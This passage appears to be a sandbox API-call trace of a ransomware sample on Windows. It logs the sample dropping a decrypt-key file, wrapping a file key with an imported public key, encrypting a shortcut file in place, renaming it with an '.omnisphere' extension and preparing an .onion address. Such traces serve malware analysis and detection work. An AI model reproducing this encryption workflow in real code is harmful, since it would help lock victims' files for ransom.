(in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.852] GetProcessHeap () returned 0x1600000 [0126.852] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.852] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.852] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.852] CloseHandle (hObject=0x28c) returned 1 [0126.852] GetProcessHeap () returned 0x1600000 [0126.853] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.853] GetProcessHeap () returned 0x1600000 [0126.853] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656a18 | out: hHeap=0x1600000) returned 1 [0126.853] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb662e0e, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0xeb662e0e, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xeb662e0e, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x0, dwReserved1=0xd3, cFileName="puH1 V9zpzVTs8eyCQ.lnk", cAlternateFileName="PUH1V9~1.LNK")) returned 1 [0126.853] GetProcessHeap () returned 0x1600000 [0126.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16d93f0 [0126.853] PathCombineW (in: pszDest=0x16d93f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="puH1 V9zpzVTs8eyCQ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk" [0126.853] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puh1 v9zpzvts8eycq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.853] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1027) returned 1 [0126.853] GetTickCount () returned 0x115fa79 [0126.853] GetTickCount () returned 0x115fa79 [0126.853] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.854] GetTickCount () returned 0x115fa79 [0126.855] GetTickCount () returned 0x115fa79 [0126.855] GetTickCount () returned 0x115fa79 [0126.855] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0126.855] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.855] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.856] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.856] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0126.856] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x403, lpName=0x0) returned 0x288 [0126.856] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x403) returned 0x1480000 [0126.856] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0126.857] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.857] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.857] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.858] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.859] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.860] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.860] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0126.860] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x403, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.861] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.861] GetProcessHeap () returned 0x1600000 [0126.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x16ebb70 [0126.861] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puh1 v9zpzvts8eycq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puh1 v9zpzvts8eycq.lnk.omnisphere")) returned 1 [0126.862] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk.omnisphere.id" [0126.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\puh1 v9zpzvts8eycq.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.863] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.864] CloseHandle (hObject=0x3c0) returned 1 [0126.864] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.864] CloseHandle (hObject=0x288) returned 1 [0126.864] SetEndOfFile (hFile=0x28c) returned 1 [0126.864] FlushFileBuffers (hFile=0x28c) returned 1 [0126.869] CloseHandle (hObject=0x28c) returned 1 [0126.870] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\puH1 V9zpzVTs8eyCQ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.870] GetProcessHeap () returned 0x1600000 [0126.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.870] GetProcessHeap () returned 0x1600000 [0126.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5820 [0126.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5820, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", 